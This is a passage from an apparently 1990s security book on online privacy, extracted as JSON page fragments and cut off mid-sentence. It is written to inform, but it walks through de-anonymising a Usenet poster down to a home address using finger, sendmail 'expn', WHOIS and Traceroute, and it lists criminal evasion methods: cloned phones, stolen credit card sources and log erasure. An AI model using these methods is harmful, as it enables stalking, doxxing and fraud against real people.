Each time a finger query is \ndetected, MasterPlan attempts to get the hostname and user ID of the fingering party. \nThese variables are piped to an outfile called finger_log. MasterPlan will also \ndetermine how often you are fingered, so you can easily detect if someone is trying to \n" }, { "page_number": 237, "text": " \n \nclock you. (Clocking refers to the practice where user A attempts to discern the habits of \nuser B using various network utilities, including finger and the r commands.) \n \nTIP: The r commands consist of a suite of network utilities that can glean information \nabout users on remote hosts. I will discuss one of these, a utility called rusers, in a \nmoment. \n \nTypically, a cracker writes a shell or Perl script to finger (or otherwise query) the target \nevery specified number of minutes or hours. Reasons for such probing can be diverse. \nOne is to build a profile of the target; for example, when does the user log in? How often \ndoes the user check mail? From where does the user usually log in? From these queries, a \ncracker (or other nosy party) can determine other possible points on the network where \nthe user can be found. \nConsider this example: A cracker I know was attempting to intercept e-mail trafficked by \na nationally renowned female journalist who covers hacking stories. This journalist had \nmore than one account and frequently logged into one from another. (In other words, \nrather than directly logging in, she would chain her connections.) This is a common \npractice by individuals in the public eye. They may want to hide from overly enthusiastic \nfans (or perhaps even legitimate foes). Thus, they preserve at least one account to receive \npublic mail and another to receive private mail. \nBy running a probing script on the journalist, the cracker was able to identify her private \ne-mail address. He was also able to compromise that network and ultimately capture all \nthe journalist's mail. The mail was primarily discussions between the journalist and a \nsoftware engineer in England. The subject matter concerned a high-profile cracking case \nin the news. (That mail was later distributed to crackers' groups across the Internet.) \nIn any event, MasterPlan can help to identify these patterns, at least with respect to finger \nqueries. The utility is small, and easily unpacked and configured. The C source is \nincluded, and the distribution is known to compile cleanly on most UNIX systems. (The \nexceptions are reportedly Ultrix and the NeXT platform.) One nice amenity for Linux \nusers is that a pre-compiled binary comes with the distribution. The standard distribution \nof MasterPlan is available at \n• \nftp://ftp.netspace.org/pub/Software/Unix/masterplan.tar.Z \nThe Linux compiled version is available at \n• \nftp://ftp.netspace.org/pub/Software/Unix/masterplan-linux.tar.Z \nAs you've now seen, the finger utility is dangerous and revealing. More and more sites \nare now disabling finger services, at least with respect to external queries. For various \nreasons, however, many providers simply do not bother to shut it down. \n \nTIP: If you want to see an example of mapping an IP address to a username dynamically, \ntrying fingering ppp@wizard.com. This host has apparently aliased out the PPP \nconnections so that the entire list of users connected via PPP can be examined using the \nfinger command. Thus, if you receive a message from a user in that domain, but the \n" }, { "page_number": 238, "text": " \n \nuser obscured his e-mail address, it could still be culled using the finger command. By \nfingering the entire block of current PPP addresses, you can map the IP to a username \nand from there, finger the username. By going through this process, you can easily obtain \nthe e-mail address of a user in that domain, even if he is trying to hide. \n \nNote that MasterPlan will not prevent someone from fingering you; it will simply identify \nthat party and how many times the finger request has been issued. \nBut all this assumes that your provider allows finger requests from the void. Suppose for \na moment that it doesn't. Does this mean that you are safe and that you shouldn't worry \nabout your name being revealed? Hardly. It simply means that a standard finger query \nwill fail to render any information about you. \nSuppose that someone is attempting to finger you and discovers that finger requests from \nthe void are prohibited. Suppose further that this person is determined to find your real \nname and is willing to risk an angry message from your provider to his own. In such a \ncase, the nosy party will initiate a Telnet session to your provider's mail server. (This is \ndone by initiating a Telnet request to port 25.) \nIn most cases (except those where the provider is paranoid or running a firewall), a server \nwill accept a Telnet connection to port 25 (the port that sendmail runs on). Such a \nconnection looks like this: \n220 shell. Sendmail SMI-8.6/SMI-SVR4 ready at Wed, 19 Feb 1997 07:17:18 \n-0800 \n \nTIP: The preceding piece of a started Telnet session was initiated on a Solaris 2.5 \nSPARC station 20. Different flavors of UNIX will provide different strings at the \nbeginning of the session. However, almost all reveal the operating system and version \nnumber. \n \nIf the nosy party can get to such a prompt, there is better than an 80 percent chance that \nhe will have your name momentarily. The information is collected by issuing the \nfollowing command: \nexpn username \nThis command requests that the mail package expand a username into an e-mail address \nand real name. This is a feature (not a bug) of the sendmail package. The response will \ntypically expand into something similar to \nusername Real Name \nThe first field will report back the username or user ID that you request to be expanded. \nThis will be followed by the person's e-mail address and finally, his \"real\" name. \nNote that the expn function can be disabled by the system administrator, although few \nactually do it. There are reasons for this, and the most probable is that administrators \nsimply fear fiddling with the sendmail configuration. Sendmail is a notoriously complex \nand powerful program that has evolved into a huge package. There are so many options \nfor it that an entire book could be written just on its configuration. It is for this reason, no \ndoubt, that sendmail has consistently been the source of holes in Internet security. So you \n" }, { "page_number": 239, "text": " \n \nmight wonder why the program is even used at all. That is easy to explain. Sendmail is \nthe most successful program for transport of electronic mail ever created. Millions of \nusers all over the world send mail each day using this program. \nIn any event, if the expn function is operable, the nosy individual will still get your real \nname, if it is available. Unfortunately, even if the expn function has been disabled, the \nsnooping party can still verify the existence of your account using the vrfy function. This \nis academic, however; if your provider's sendmail system honors Telnet sessions, there is \na greater than 70 percent chance that one or both of these functions is available. \n \nTIP: You will find that many other versions of sendmail-- which has now been ported to \nalmost every platform-- will also render this information. \n \nCurrently, other than rewriting your account so that your real name does not appear in the \n/etc/passwd database, there is no way for you to exercise control over these remote \nfunctions. sendmail issues must be resolved by root. Moreover, it is highly unlikely that a \nsystem administrator will fiddle with his or her sendmail configuration just to satisfy the \nneeds of a paranoid user. Thus, the rule of thumb is this: If you intend to remain \nuntouchable on the Net, you must never, ever allow your real name to fill that field within \nthe /etc/passwd file. \nA Few Words About Cookies \nYou have seen the message many times. You land on a WWW site and a dialog box \nappears. The server at the other end says it wants to set a cookie. Most users have no idea \nwhat this means, so they simply click the OK button and continue. Other users actually \nread the dialog box's contents and get a little worried. (This is especially true when the \ncookie is going to be set for sometime into the year 2000. The user may not be sure what \na cookie is, but almost all users balk when that cookie is going to hang around for 3 or 4 \nyears.) \n \nTIP: If you have never seen such a dialog box, you need to set your options to warn you \nbefore cookies are being set. Personally, I prefer to at least be notified when anything is \nbeing written to my hard disk drive. You should watch all such activities closely, \nmonitoring any code or other device that is arbitrarily forwarded to your machine. \n \nWhat are cookies? The cookie concept is very much like getting your hand stamped at a \ndance club. You can roam the club, have some drinks, dance, and even go outside to your \ncar for a few minutes. As long as the stamp is on your hand, you will not have to pay \nagain, nor will your access be restricted. But cookies go much further than this. They \nrecord specific information about the user, so when that user returns to the page, the \ninformation (known as state information) can be retrieved. The issue concerning cookies, \nthough, isn't that the information is retrieved. The controversy is about where the \ninformation is retrieved from: your hard disk drive. \nCookies (which Netscape calls persistent client state HTTP cookies) are now primarily \nused to store options about each user as he browses a page. The folks at Netscape explain \nit this way: \n" }, { "page_number": 240, "text": " \n \nThis simple mechanism provides a powerful new tool which enables a host of new types of \napplications to be written for Web-based environments. Shopping applications can now store \ninformation about the currently selected items, for fee services can send back registration \ninformation and free the client from retyping a user-id on next connection, sites can store per-user \npreferences on the client, and have the client supply those preferences every time that site is \nconnected to. \n \nCross Reference: The article from which the previous quote is excerpted, \"Persistent \nClient State HTTP Cookies,\" can be found at \nhttp://home.netscape.com/newsref/std/cookie_spec.html. \n \nTo understand the way cookies work, please examine Figure 13.4. \nFigure 13.4. \nSetting cookies. \nAs you can see, when the remote server is contacted, it requests permission to set a \ncookie. (One wonders why some sites set a cookie on their opening page. Just what state \ninformation are they recording? You haven't specified any preferences yet, so there is \nessentially nothing to record.) Prior to the setting of the cookie, however, the user is \ngenerally confronted with the advisory shown in Figure 13.5. \nFigure 13.5. \nCookie warning! \n \nTIP: Note that this advisory will only be shown if you choose this option (Warn on \nCookie) in your preferences. In Netscape Navigator, this option can be toggled in the \nNetwork Preferences menu under the Protocols tab. In Microsoft Internet Explorer, it can \nbe set in the Options menu under the Advanced tab. \n \nAdvocates of cookies insist that they are harmless, cannot assist in identifying the user, \nand are therefore benign. That is not true, as explained by D. Kristol and L. Montulli in \nRFC 2109: \nAn origin server could create a Set-Cookie header to track the path of a user through the server. \nUsers may object to this behavior as an intrusive accumulation of information, even if their \nidentity is not evident.(Identity might become evident if a user subsequently fills out a form that \ncontains identifying information.) \nI know many programmers who are exploring techniques for using cookies for user \nauthentication. This is disturbing. There has not been enough scrutiny of the privacy \nissues surrounding cookies, and there needs to be some method developed to manage \nthem. That is, perhaps some cookies are desirable to a particular user and some are not. \nThe user may visit certain sites regularly. If those sites use cookie conventions, the user \nwill unnecessarily be confronted with a cookie warning each time he visits, unless that \ncookie remains on the drive. However, other cookies (from sites that the user may never \nvisit again) should be easily removed. This is also discussed in RFC 2109: \nUser agents should allow the user to control cookie destruction. An infrequently used cookie may \nfunction as a \"preferences file\" for network applications, and a user may wish to keep it even if it \nis the least-recently-used cookie. One possible implementation would be an interface that allows \nthe permanent storage of a cookie through a checkbox (or, conversely, its immediate destruction). \n" }, { "page_number": 241, "text": " \n \nBriefly, to find the cookies on your hard disk drive, search for the file cookies.txt. This \nfile will contain a list of cookies and their values. It looks like this: \nwww.webspan.net FALSE /~frys FALSE 859881600 worldohackf \n2.netscape.com TRUE / FALSE 946684799 NETSCAPE_ID \n1000e010,107ea15f.adobe.com TRUE / FALSE 946684799 \nINTERSE 207.171.18.182 6852855142083822www.ictnet.com FALSE / \nFALSE 946684799 Apache pm3a-4326561855491810745.microsoft.com \nTRUE / FALSE 937422000 \nMC1 GUID=260218f482a111d0889e08002bb74f65.msn.com TRUE / \nFALSE 937396800 MC1 \nID=260218f482a111d0889e08002bb74f65comsecltd.com FALSE / FALSE \n1293753600 EGSOFT_ID 207.171.18.176-3577227984.29104071 \n.amazon.com TRUE / FALSE 858672000 session-id-time \n855894626.amazon.com TRUE / FALSE 858672000 session-id \n0738-6510633-772498 \nThis cookie file is a real one, pulled from an associate's hard disk drive. You will see that \nunder the GUID, the leading numbers are an IP address. (I have added a space between the \nIP address and the remaining portion of the string so that you can easily identify the IP. In \npractice, however, the string is unbroken.) From this, you can see clearly that setting a \ncookie may involve recording IP addresses from the target. Now, this does not mean that \ncookies are a major threat to your privacy. Many JavaScript scripts (and Perl scripts) are \ndesigned to \"get\" your IP. This type of code also can get your browser type, your \noperating system, and so forth. Following is an example in JavaScript: \n \nThis JavaScript code will get the browser and its version. Scripts like this are used at \nthousands of sites across the Internet. A very popular one is the \"Book 'em, Dan-O\" \nscript. This script (written in the Perl programming language) will get the time, the \nbrowser, the browser's version, and the user's IP. \n \nCross Reference: The \"Book 'em, Dan-O\" script was written by an individual named \nSpider. It is currently available for download at Matt's Script Archive, at \nhttp://worldwidemart.com/scripts/dano.shtml. \n \n \n \nCross Reference: One site that will get many of your environment variables, particularly \nif you use UNIX, is located at http://hoohoo.ncsa.uiuc.edu/cgi-\nbin/test-env. What is interesting is that it will catch both the PPP-based address (as \nin ppp32-vn074.provider.com) as well as your actual IP. \n \nAlso, nearly all Web server packages log access anyway. For example, NCSA HTTPD \nprovides an access log. In it, the IP address of the requesting party is logged. The format \nof the file looks like this: \n" }, { "page_number": 242, "text": " \n \n- - [12/Feb/1997:17:20:59 -0800] \"GET /~user/index.html i HTTP/1.0\" 200 \n449 \nThe major difference between these devices and the cookie implementation, however, is \nthat cookies are written to a file on your hard disk drive. Many users may not be bothered \nby this, and in reality, there is nothing threatening about this practice. For example, a \ncookie can only be read by the server that set it. However, I do not accept cookies as a \nrule, no matter how persistent the server may be at attempting to set one. (Some \nprogrammers provide for this process on every page, hoping that eventually the user will \ntire of dealing with dialog boxes and simply allow the cookie to be set.) \nIt is interesting to note that some clients have not been preconfigured to deny cookies. In \nthese instances, a cookie may be written to the drive without the user's consent, which is \nreally the default configuration, even for those browsers that support screening of \ncookies. Early versions of both Netscape Navigator and Microsoft Internet Explorer \nshipped with the Deny Cookies checkbox unchecked. Absentmindedness on the part of \nthe vendors? Perhaps. If you have a problem denying cookies, for whatever reason, there \nis an action you can undertake to prevent these items from being written to your drive. \nOne is to make the file cookies.txt read-only. Thus, when a foreign Web server \nattempts to write to the file, it will fail. \n \nTIP: It has been reported that this can be done in MacOS by first deleting and then re-\ncreating the cookie file and subsequently placing it into the Preferences folder. \n \nI recommend denying cookies, not so much because they are an invasion, but because \nthey leave a trail on your own hard disk drive. That is, if you visit a page that you have \nbeen forbidden to access and it sets a cookie, the evidence will be in cookies.txt. This \nbreaks down to cache issues as well: even if your cookies file is clean, your cache will \nbetray you. \n \nNOTE: Although this is a well-known issue, new users may not be aware of it, so I will \nexplain. To retrieve the sites you have most recently visited, type about:cache in the \nOpen Location box in Netscape's Navigator. A new page will appear, showing Web \npages you have recently visited. So, if you browse the Net at work when you are \nsupposed to be performing your duties, you will want to kill that cache every few minutes \nor set its value to 0. \n \nCurrently, denying a cookie does not dramatically influence your ability to access a page, \nalthough that may change in the future. At best, the cookie issue has assisted in \nheightening public awareness that a remote Web server can cull your IP address and, in \ncertain instances, your location, your operating system, your browser, and so forth. \n \nNOTE: If you are uncomfortable with denying cookies from all sites, perhaps you should \ncheck out a program called Cookie Jar. Cookie Jar allows you to specify what servers you \nwill accept cookies from. The program was written by Eric Murray, a member of the \nSams technical editorial team. Cookie Jar is located at \nhttp://www.lne.com/ericm/cookie_jar/. The main amenity of Cookie Jar is \nconvenience. Many sites require that you accept a cookie to access certain services. \nCookie Jar can perform filtering for you. \n" }, { "page_number": 243, "text": " \n \n \nPublic Postings \nWe will now assume that no one knows who you are. They are about to find out, \nhowever, because you are about to post a message to a Usenet newsgroup. From the \nmoment you post a message to Usenet, your name and e-mail address are fair game. \nThe Usenet news network is somewhat different from other forms of communication on \nthe Internet. For a start, it is almost entirely public, with a very few exceptions. \nMoreover, many Usenet news newsgroups are archived--that is, the articles posted to \nsuch groups are bundled and stored for later use. I have seen archived messages ranging \nback to 1992, some of which are reachable by WAIS, FTP, Telnet, and other, antiquated \ninterfaces. \n \nTIP: Note that these are private archives and have nothing to do with search engines. The \nbig search engines generally archive Usenet messages for a few weeks only. In contrast, \nprivate archives (maintained by non-commercial, special interest groups), especially \nthose that have listservers in addition to newsgroups, may be maintained for a long, long \ntime. \n \nBecause these messages are kept, your e-mail address (and identity, because your identity \ncan be traced with it) has a shelf life. Hucksters like list brokers routinely tap such \narchives, searching for leads--collections of e-mail addresses of persons who share a \nparticular interest, such as all females over 40 years of age who smoke a pipe, have an \neye patch, and voted Republican in the last election. If you think that this level of \nrefinement is ludicrous, think again. Applying various search spiders (and a number of \npersonal robots), one can narrow the search to something that specific. \nThe first step in developing such a list is to capture e-mail addresses. To do this, any \ngarden-variety search engine will do, although AltaVista (altavista.digital.com) \nand DejaNews (www.dejanews.com) have the most malleable designs. Even though \nthese engines are well known to most users, I am providing screen captures of their top-\nlevel pages, primarily for reference purposes as I explain Usenet snooping. \nFigure 13.6. \nThe top-level page of AltaVista. \nAltaVista is one of the most powerful search engines available on the Internet and is \nprovided as a public service by Digital Equipment Corporation (DEC). It accepts various \ntypes of queries that can be directed toward WWW pages (HTML) or Usenet postings. \n(The Usenet postings are archived, actually. However, DEC reports that these are kept \nonly for a period of \"a few weeks.\") \nOne key point about the AltaVista engine is that it was coded nicely. By enclosing strings \nin quotation marks, you can force a case-sensitive, exact regex (regular expression) \nmatch. As a result, you can isolate one page out of millions that contains the exact string \nyou're seeking. Similarly, you can isolate all Usenet postings made by a particular author. \n" }, { "page_number": 244, "text": " \n \nBy taking each of those postings and analyzing them, you can identify that person's chief \ninterests. (Perhaps the person is a militia member, for example.) \nThe DejaNews search engine is a very specialized tool. It is solely a Usenet robot/spider. \nThe DejaNews archive reportedly goes back to March 1995, and the management \nindicates that it is constantly trying to fill gaps and get older articles into the database. It \nclaims that it is working on providing all articles posted since 1979. Figure 13.7 shows \nthe top page of DejaNews. \nFigure 13.7. \nThe top-level page of DejaNews. \nDejaNews has some more advanced functions for indexing, as well. For example, you \ncan automatically build a profile on the author of a Usenet article. (That is, the engine \nwill produce a list of newsgroups that the target has posted to recently.) \nDefeating the archiving of your Usenet messages on both AltaVista and DejaNews is \nrelatively simple--for direct posting, at least. Either in the X headers of your Usenet \narticle or as the first line of your article, issue the following string: \nx-no-archive: yes \nThis will ensure that your direct postings made to Usenet will not be archived. This does \nnot, however, protect you from third-party postings that contain your e-mail address. For \nexample, if you belong to a mailing list and that list is archived somewhere on the WWW \n(or even at FTP sites), your e-mail address is already compromised. If your e-mail \naddress appears in a thread of significant interest (and your reply was sufficiently \nenlightening), it is guaranteed that the entire thread (which contains your address) will be \nposted somewhere. And it will be somewhere other than Usenet; perhaps a WWW page \nor a Gopher server. \nLet us continue to suppose that you have no knowledge of how Usenet indexing works. \nLet us further assume that although your real name does not appear on Usenet postings, it \ndoes appear in the /etc/passwd file on the UNIX server that you use as a gateway to the \nInternet. Now you are a viable target. Here are some steps that will lead the snooping \nparty not simply to your real name, but to the front door of your home. The steps are as \nfollows: \n1. The snooping party sees your post to Usenet. Your e-mail address is in plain view, but your \nname is not. \n \n2. The snooping party tries to finger your address, but as it happens, your provider prohibits finger \nrequests from the void. \n \n3. The snooping party Telnets to port 25 of your server. There, he issues the expn command and \nobtains your real name. \nHaving gotten that information, the snooping party next needs to find the state in which \nyou currently reside. For this, he turns to the WHOIS service. \nThe WHOIS Service \n" }, { "page_number": 245, "text": " \n \nThe WHOIS service (centrally located at rs.internic.net) contains the domain \nregistration records of all Internet sites. This registration database contains detailed \ninformation on each Internet site, including domain name server addresses, technical \ncontacts, the telephone number, and the address. Here is a WHOIS request result on the \nprovider Netcom, a popular Northern California Internet service provider: \nNETCOM On-Line Communication Services, Inc (NETCOM-DOM) \n 3031 Tisch Way, Lobby Level \n San Jose, California 95128 \n US \n Domain Name: NETCOM.COM \n Administrative Contact: \n NETCOM Network Management (NETCOM-NM) dns-mgr@NETCOM.COM \n (408) 983-5970 \n Technical Contact, Zone Contact: \n NETCOM DNS Administration (NETCOM-DNS) dns-tech@NETCOM.COM \n (408) 983-5970 \n Record last updated on 03-Jan-97. \n Record created on 01-Feb-91. \n Domain servers in listed order: \n NETCOMSV.NETCOM.COM 192.100.81.101 \n NS.NETCOM.COM 192.100.81.105 \n AS3.NETCOM.COM 199.183.9.4 \nHere, the snooping party has discovered that the provider is in the state of California. \n(Note the location at the top of the WHOIS return listing, as well as the telephone points \nof contact for the technical personnel.) This information will help tremendously; the \nsnooping party now proceeds to http://www.worldpages.com/. WorldPages is a \nmassive database with a design very similar to the average White Pages. It holds the \nnames, e-mail addresses, and telephone numbers of several million Internet users. (See \nFigure 13.8 for a screenshot of the top-level page of WorldPages.) \nFigure 13.8. \nThe top-level page of WorldPages. \nAt WorldPages, the snooping party funnels your real name through a search engine, \nspecifying the state as California. Momentarily, he is confronted with a list of matches \nthat provide name, address, and telephone number. Here, he may run into some trouble, \ndepending on how common your name is. If your name is John Smith, the snooping party \nwill have to do further research. However, let us assume that your name is not John \nSmith. Let's assume that your name is common, but not that common. So the snooping \nparty uncovers three addresses, each in a different California city: One is in Sacramento, \none is in Los Angeles, and one is in San Diego. How does he determine which one is \nreally you? He proceeds to the host utility. \nThe host utility (discussed briefly in Chapter 9, \"Scanners\") will list all the machines on a \ngiven network and their relative locations. With large networks, it is common for a \nprovider to have machines sprinkled at various locations throughout a state. The host \ncommand can identify which workstations are located where. In other words, it is \ngenerally trivial to obtain a listing of workstations by city. These workstations are \nsometimes even named for the cities in which they are deposited. Therefore, you may see \nan entry such as \n" }, { "page_number": 246, "text": " \n \nchatsworth1.target_provider.com \nChatsworth is a city in southern California. From this entry, we can assume that \nchatsworth1.target_provider.com is located within the city of Chatsworth. What \nremains for the snooper is to reexamine your Usenet post. \nBy examining the source code of your Usenet post, he can view the path the message \ntook. That path will look something like this: \nnews2.cais.com!in1.nntp.cais.net!feed1.news.erols.com!howland.erols.net! \nÂix.netcom.com!news \nBy examining this path, the snooping party can determine which server was used to post \nthe article. This information is then coupled with the value for the NNTP posting host: \ngrc-ny4-20.ix.netcom.com \nThe snooping party extracts the name of the posting server (the first entry along the path). \nThis is almost always expressed in its name state and not by its IP address. For the \nsnooping party to complete the process, however, the IP address is needed. Therefore, he \nnext Telnets to the posting host. When the Telnet session is initiated, the hard, numeric IP \nis retrieved from DNS and printed to STDOUT. The snooping party now has the IP address \nof the machine that accepted the original posting. This IP address is then run against the \noutfile obtained by the host query. This operation reveals the city in which the machine \nresides. \n \nTIP: If this information does not exactly match, the snooping party can employ other \nmethods to get the location of the posting machine. One such technique is to issue a \nTraceroute request. When tracing the route to a machine that exists in another city, the \nroute must invariably take a path through certain gateways. These are main switching \npoints through which all traffic passes when going in or out of a city. Usually, these are \nhigh-level points, operated by telecommunication companies like MCI, Sprint, and so \nforth. Most have city names within their address. Bloomington and Los Angeles are two \nwell-known points. Thus, even if the reconciliation of the posting machine's name fails \nagainst the host outfile, a Traceroute will reveal the approximate location of the machine. \n \nHaving obtained this information (and having now differentiated you from the other \nnames), he returns to WorldPages and chooses your name. Within seconds, a graphical \nmap of your neighborhood appears. The exact location of your home is marked on the \nmap by a circle. The snooping party now knows exactly where you live and how to get \nthere. From this point, he can begin to gather more interesting information about you. For \nexample: \n• \nThe snooping party can determine your status as a registered voter and your political affiliations. \nHe obtains this information at http://www.wdia.com/lycos/voter-records.htm. \n• \nFrom federal election records online, he can determine which candidates you support and how \nmuch you have contributed. He gets this information from \nhttp://www.tray.com/fecinfo/zip.htm. \n• \nHe can also get your Social Security number and date of birth. This information is available at \nhttp://kadima.com/. \n" }, { "page_number": 247, "text": " \n \nMany users are not bothered by this. Among those people, the prevailing attitude is that \nall such information is available through sources other than the Internet. The problem is \nthat the Internet brings these sources of information together. Integration of such \ninformation allows this activity to be conducted on a wholesale basis, and that's where the \ntrouble begins. \nIt is now possible (using the techniques described here) to build models of human \nnetworks--that is, it is now possible to identify all members of a particular class. It is also \npossible to analyze the relationships between them. This changes the perspective for \nintelligence agencies. \nYears ago, gathering domestic intelligence was a laborious process. It required some \nelement, however slim, of human intelligence. (Human intelligence here refers to the use \nof human beings to gather information as opposed to machines or other, automated \nprocesses.) Thus, to get the low-down on the Students for a Democratic Society, for \nexample, intelligence agencies had to send agents on foot. These agents had to mix with \nthe crowd, record license plate numbers, or gather names at a rally. Today, those methods \nare no longer necessary. \nToday, the Internet provides a superb tool to monitor the public sentiment (and perhaps to \nidentify those who conspire to take up arms). In some respects, one might concede that \nthis is good. Certainly, if individuals are discussing violence or crime, and they \ncontemplate these issues online, it seems suitable that law-enforcement agencies can take \nadvantage of this emerging technology. However, it should be recognized here that the \npractice of building models of human networks via the Internet violates no law. It \namounts to free spying, without a warrant. Put more bluntly, we Americans do often have \nbig mouths. Some of us would do better to keep quiet. \nBefore I continue, I want to make one point clear: Complete anonymity on the Internet is \npossible, but not legally. Given enough time, for example, authorities could trace a \nmessage posted via anonymous remailer (although, if that message were chained through \nseveral remailers, the task would be far more complex). The problem is in the design of \nthe Internet itself. As Ralf Hauser and Gene Tsudik note in their article \"On Shopping \nIncognito\": \nFrom the outset the nature of current network protocols and applications runs counter to privacy. \nThe vast majority have one thing in common: they faithfully communicate end-point identification \ninformation. `End-point' in this context can denote a user (with a unique ID), a network address or \nan organization name. For example, electronic mail routinely communicates sender's address in \nthe header. File transfer (e.g., FTP), remote login (e.g. Telnet), and hypertext browsers (e.g. \nWWW) expose addresses, host names and IDs of their users. \nIndeed, the process starts at the very moment of connection. For example, workstations \nconnected to a network that is directly wired to the Net all have permanent addressing \nschemes. Certainly, an Ethernet spoof will not carry when crossing the bridge to IP; \ntherefore, fixed stations permanently strung to the Internet will always have the same IP. \nAnd, short of the operator of such a workstation getting root access (and altering the \nrouting tables), there is little that can be done in this regard. \n" }, { "page_number": 248, "text": " \n \nSimilarly, the average user's IP is dependent solely upon his server. Consider the \nexchange that occurs in a dial-up account. (See Figure 13.9.) \nFigure 13.9. \nA little case study: dynamic IP allocation. \nMost servers are now running some form of dynamic IP allocation. This is a very simple \nbut innovative system. Examine the Ethernet arrangement to the right of Figure 13.9 (a \ngarden-variety rack of headless workstations). Each machine on that network can allocate \na certain number of IP addresses. Let's make it simple and say that each workstation can \nallocate 254 of them. Think of each address as a spoke in a bicycle wheel. Let's also \nassume that the IP address for one of these boxes is 199.171.180.2 (this is an imaginary \naddress). If no one is logged on, we say that the available addresses (on that box) range \nfrom 199.171.180.3 to 199.171.180.255. \nAs long as only a portion of these address are occupied, additional addresses will be \nallocated. However, what if they are all allocated? In that case, the first one to be \ndisengaged will be the next available IP. That is, suppose they are all allocated and you \ncurrently occupy 199.171.180.210. As soon as you disconnect (and if no one else does \nbefore the next call), the very next customer will be allocated the address \n199.171.180.210. It is a free slot (left free because you have disconnected), and the next \ncaller grabs it. The spokes of the wheel are again fully occupied. \n \nTIP: In practice, the process is more complex, involving more hardware and so forth. \nHowever, here we are just concerned with the address allocation, so I have greatly \nsimplified the process. \n \nThis demonstrates that in dynamic IP allocation, you will likely have a different address \neach time you connect. Many individuals who run illegal BBS systems on the Internet \ntake advantage of this phenomenon. \n \nNOTE: The term illegal here refers to those BBS systems that distribute unlawful \nsoftware. This does not have to be warez (pirated software) either. Certain types of \ncellular cloning software, for example, are unlawful to possess. Distribution of such \nsoftware will bring the authorities to your door. Likewise, \"illegal\" BBS activity can be \nwhere the operator and members engage in cracking while logged on. Lastly, those BBS \nsystems that distribute child pornography are, quite obviously, illegal. \n \nThe dynamic allocation allows users to perform a little parlor trick of sorts. Because the \nIP is different each time, an illegal BBS can be a moving target. That is, even if law-\nenforcement officials suspect the activity being undertaken, they are not sure where it is \nhappening without further research. \nTypically, this type of setup involves the perpetrators using a networked operating system \n(almost always Linux or FreeBSD) that allows remote logins. (These logins may include \nFTP, Telnet, Gopher, and so on. It is also fairly common to see at least sparse HTTP \nactivity, although it is almost always protected using htpasswd.) It is also common for \n" }, { "page_number": 249, "text": " \n \nthe operator of such a board to request that users use SSH, S/Key, or some other, secure \nremote-login software so that third parties cannot snoop the activity there. \nTypically, the operator connects using the networked operating system and, after having \ndetermined the IP for the night, he mails out the network address to the members of the \ngroup. (This is usually an automated process, run through a Perl script or some other shell \nlanguage.) The mailed message need be no more than a blank one, because all that is \nimportant is the source address. \nFor the brief period that this BBS is connected, it effectively serves as a shadowed server \nin the void. No one would know of its existence unless they scanned for it. Most often, \nthe operator will kill both finger and the r services, therefore blocking the prying eyes of \nthird parties from determining who is logged to the server. Moreover, the operator has \nusually gained some privileged access to his provider's network and, having done so, can \nobscure his presence in system logs. \nFor the individuals in these groups, relative anonymity is realized because, even if an \noutside party later questions the sysad of the provider, the logs may be very sparse. Most \nsystem administrators are reluctant to kill an account without adequate proof. True, the \nlogs at any outside network would show some activity and the IP it originated from, but \nthat is not enough. If the system administrator cannot say with certainty who perpetrated \nthe activity, he has no case. Meanwhile, during the period when users are logged in to \nthis hidden server, they, at least, are shielded in terms of identity. They can then Telnet \nback out of that machine (or connect to IRC) and from there, they have some level of \nshielding. But what about the average Joe? \nThe average user does not implement such schemes. He connects using mostly client \nsoftware, on the IBM or Mac platform, and is not looking to provide services. The \ndifference is considerable. Certainly, anyone using the configuration described here has \nmore options with regard to sending, say, fakemail. Because that person controls the \nserver (and the sendmail application is local), even a simple message sent from the \nconsole will appear differently from one sent from a Windows client. Such a message \ncannot be trusted, and only by reviewing the full headers can you reliably determine \nwhere it came from. \n \nTIP: You will recall that in Chapter 9, I discussed this point. The technique for \nidentifying the source of fakemail involves using Traceroute. Generally, the second-to-\nlast listing in the Traceroute results will reveal the actual source. In other words, the \nsecond-to-last line will reveal the provider network, and from that you can deduce that \nthe user was at least temporarily connected to that server. A discussion with the sysad at \nthat location should give you the username--providing, of course, that you can convince \nthe sysad that there is a reason for him to release such information. \n \nMy point is this: During the period when a shadowed server is up, those who log in from \nthe void are safe and hidden, but only as long as the operator of the box refuses to \nprovide their identities. \nFor example, say a kid establishes such a box in California. His friends from Philadelphia \nconnect to the box and use it as a launching pad. From there, the folks from Philadelphia \n" }, { "page_number": 250, "text": " \n \nTelnet back out and begin cracking some server in the void. Our boy in California may \nlater have to answer for this activity. However, if he has erased his logs (and keeps his \nmouth shut), the people from Philadelphia will never be found. Which leads to this \nadvice: If you run such a server, never, ever allow individuals you do not know to use it. \nWhen you destroy the logs, you are sealing your own fate. These individuals are using an \nIP address that can be traced to you (unless you have root access on your provider's box). \nThus, if you meet someone on IRC and he begs you for a shell account, it is best that you \nrefuse until you know him. Otherwise, it is you and not he who will suffer. \nAt any rate, because of the inherent design of the Internet, the IP address is a universal \nidentification index. It has to be, because without it, how could information be routed \nacross the network? Therefore, be advised that although you may change your mail \naddress in Netscape Navigator or other programs containing mail packages, this does not \nobscure your identity. True, inexperienced users will be dumbfounded as to the origin of \nthe message, but anyone familiar with UNIX can trace the message right to its source. \nI imagine that the majority of my readers are not criminals and simply want to keep their \nname out of Usenet screens or mailing lists. However, for those inclined to break the law \n(who are scouring this chapter for that one, single answer), I say this: To totally shield \nyourself from the law (and other, interested parties), you will need these items: \n• \nA cloned cellular telephone or other means of initiating a digital connection (seizing a circuit, \nperhaps) \n• \nA laptop (loaded with either FreeBSD or Linux) \n• \nCredit card numbers stolen from a clean source \n• \nA PCICMA modem \n• \nA reason for all this \nCertain individuals are available for hire to perform various crimes over the Internet. \nWhen they conduct their activity, this is how they do it. The credit card numbers are \nusually bought outright from an underground, or a \"clean,\" source; one that law \nenforcement can neither readily identify or reach. Most of these are on microfiche, taken \nfrom a financial institution or other source that has a quantity of numbers. (Note that only \nthose individuals who are doing high-volume work will buy microfiche. This is because \nusing microfiche-based numbers is in itself a risk. Later analysis by law enforcement will \nreveal that sets of numbers used may have or appear to have originated from the same \nsource.) \nThose involved in this activity generally explain that banks are poor sources for the \nnumbers, as are Internet service providers, car rental agencies, and retail chains. It is \nargued that the best source is from mail-order lists or department store databases. These \nare the reasons: \n• \nThese lists contain many different types of credit cards, not just one. \n" }, { "page_number": 251, "text": " \n \n• \nThese card numbers belong to accounts that are underwritten by many institutions, not just one. \n• \nThe rightful owners of such credit cards live at locations sprinkled throughout the United States; \ntherefore, the activity initially appears to be unconnected. \n• \nLaw-enforcement agents will initially be dumbfounded as to the seed source of the numbers, for \nall these reasons. \nHaving obtained the numbers, the next step is to 